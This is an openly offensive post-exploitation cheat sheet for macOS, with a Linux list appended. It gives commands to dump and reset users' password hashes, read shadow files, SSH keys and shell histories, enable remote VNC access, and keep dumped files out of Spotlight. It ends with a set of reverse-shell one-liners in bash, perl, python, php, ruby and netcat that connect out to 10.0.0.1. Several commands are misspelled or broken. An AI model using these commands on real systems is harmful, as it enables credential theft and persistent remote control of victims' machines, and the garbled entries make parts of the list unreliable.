

# OS X Post-Exploitation Command List

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## Blind Files

(things to pull when all you can do is blindly read) LFI/dir traversal

- `/etc/resolv.conf` (everyone always has read on this and it wont trigger an IDS)

## SYSTEM

- `uname -a`
- `sw_vers -productName`
- `sw_vers -productVersion`
- `system_profiler`
- `defaults read com.apple.recentitems RecentApplications | grep Name`
- `defaults read com.apple.recentitems RecentDocuments | grep Name`
- `mdfind`
- `id`
- `printenv`
- `who`
- `ps aux`
- `ps ea`
- `ebob` (read password hash of bob)
- `dsccl localhost -read /Search/Users/bob ShadowHashData | tail -1 | xxd -r -p | plutil -convert xml1 -o - -` (Dump in workable format)
- `dsccl localhost -passwd /Search/Users/bob` (change bob's password without needing current)
- `dsccl . -read /Users/<username> ShadowHashData | cut -f9-25 -d" " | cut -f3 -d ":" | tr -d ' '`
- `/Library/Application Support/VMware Fusion/vmrun list`
  - `/Library/Application Support/VMware Fusion/vmrun CopyFileFromHostToGuest windowsmalicious.exe aWindowsVM`
  - `/Library/Application Support/VMware Fusion/vmrun captureScreen WindowsVM`
- `mdutil -i off /` (turn off Spotlight indexing on / - replace 'off' with 'on' to turn it back on - useful if you want to not have any files you dump locally indexed - replace '/' with 'volumeName' if not working on boot volume)
- Snow Leopard and Lion
  - `dscacheutil -q user`
  - `dscacheutil -q group`
- Tiger
  - `lookupd -q user`
  - `lookupd -q group`

## Networking

- `ifconfig`
- `netstat -np tcp`

- netstat -np udp

## Configs

- ls -alh /private/etc/
- ls -alh /Library/Application Support/VMware Fusion/

## Packages

- port installed
- ls -alh /Applications/

## Finding Important Files

- ls -ma ~/
- ls -alh /Users/
- ls -alh /Users/\*/ssh/
- ls -alh /Users\*/.gnupg/
- ls -alh /Volumes/

## Files to Pull

## Remote System Access

- <http://support.apple.com/kb/HT2370> instructions to use kickstart to turn on vnc from the commandline (only works as an admin)
- \$ sudo  
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -users admin -privs -all -restart -agent -menu (enable vnc access)
- \$ sudo  
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off (kill vnc server)

# Priv

- cat /Library/Application Support/Objective Development/Little Snitch/rules.xpl
- ls

## The current Linux list:

(lets remove anything that doesn't work (or doesn't mean anything) on OS X),

Please indicate the version of OS X on which the command works)

### # System

- uname -a
- ps aux
- ps -aef
- id
- arch
- w
- who -a
- gcc -v
- mysql --version
- perl -v
- ruby -v
- python --version
- df -k
- mount
- last -a
- lastlogin (\*bsd)
- getenforce <- does not work on Lion no idea if this work in previous versions
- dmesg
- lsub<- does not work on Lion no idea it this work on previous versions
- lshw <- does not work on Lion no idea it this work on previous versions
- free -m <- does not work on Lion no idea it this work on previous versions
- du -h --max-depth=1 /
- which nmap (see if it's already installed)
- locate bin/nmap
- which nc (see if it's already installed)
- locate bin/<whatever you want>
- whoami
- jps -l
- java -version

### # Networking

- hostname -f

- ip addr show
- ifconfig -a
- route -n
- cat /etc/network/interfaces
- iptables -L -n
- netstat -anop
- netstat -r
- netstat -nltpw (root with raw sockets)
- arp -a
- lsof -nPi

#### # Configs

- ls -aRl /etc/ | awk '\$1 ~ /w.\$/' | grep -v lrwx 2>/dev/null
- cat /etc/issue{,.net}
- cat /etc/passwd
- cat /etc/shadow (gotta try..)
- cat /etc/shadow~ # (sometimes there when edited with gedit)
- cat /etc/master.passwd
- cat /etc/group
- cat /etc/hosts
- cat /etc/crontab
- cat /etc/sysctl.conf
- for user in \$(cut -f1 -d: /etc/passwd); do echo \$user; crontab -u \$user -l; done # (Lists all crons)
- cat /etc/resolv.conf
- cat /etc/samba/smb.conf
- pdbedit -L -w
- pdbedit -L -v
- cat /etc/exports
- cat /etc/auto.master
- cat /etc/auto\_maste
- cat /etc/fstab
- cat /etc/exports
- find /etc/sysconfig/ -type f -exec cat {} \;
- cat /etc/sudoers

#### # Package Sources

- cat /etc/apt/sources.list
- ls -l /etc/yum.repos.d/
- cat /etc/yum.conf

#### # Finding Important Files

- find /var/log -type f -exec ls -la {} \;
- ls -alhtr /mnt
- ls -alhtr /Volumes
- ls -alhtr /tmp

- ls -alhtr /home
- ls /Users/\*/ssh/\*
- find /home -type f -iname '.\*history'
- ls -lart /etc/rc.d/
- locate tar | grep [.]tar\$
- locate tgz | grep [.]tgz\$
- locate sql | grep [.]sql\$
- locate settings | grep [.]php\$
- locate config.inc | grep [.]php\$
- ls /Users/\*/id\*
- locate .properties | grep [.]properties # java config files
- locate .xml | grep [.]xml # java/.net config files
- find /sbin /usr/sbin /opt /lib `echo \$PATH | sed s:/ /g` -perm -4000 # find suids

#### # Per User

- ls -alh /Users/\*/
- ls -alh /Users/\*/ssh/
- cat /Users/\*/ssh/authorized\_keys
- cat /Users/\*/ssh/known\_hosts
- cat /Users/\*/\*.hist\*
- find -type f /Users\*/.vnc /Users\*/.subversion
- grep ^ssh /Users/\*/\*.hist\*
- grep ^telnet ` /Users/\*/\*.hist\*
- grep ^mysql /Users/\*/\*.hist\*
- cat /Users\*/.viminfo
- sudo -l # if sudoers is not readable, this sometimes works per user
- crontab -l

#### # Priv (sudo'd or as root)

- ls -alh /root/
- cat /etc/sudoers
- cat /etc/shadow
- cat /etc/master.passwd # OpenBSD
- cat /var/spool/cron/crontabs/\*
- lsof -nPi
- ls /Users/\*/ssh/\*

#### # Reverse Shell

starting list sourced from: <http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

- bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # No /dev/tcp on Mac OS X
- perl -e 'use Socket;\$i="10.0.0.1";\$p=1234;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in(\$p,inet\_aton(\$i))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- python -c 'import

```
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

- php -r '\$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  - ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to\_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
1. nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
    - a. rm /tmp/;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
      - xterm -display 10.0.0.1:1
      - Listener- Xnest :1
      - Add permission to connect- xhost +victimIPf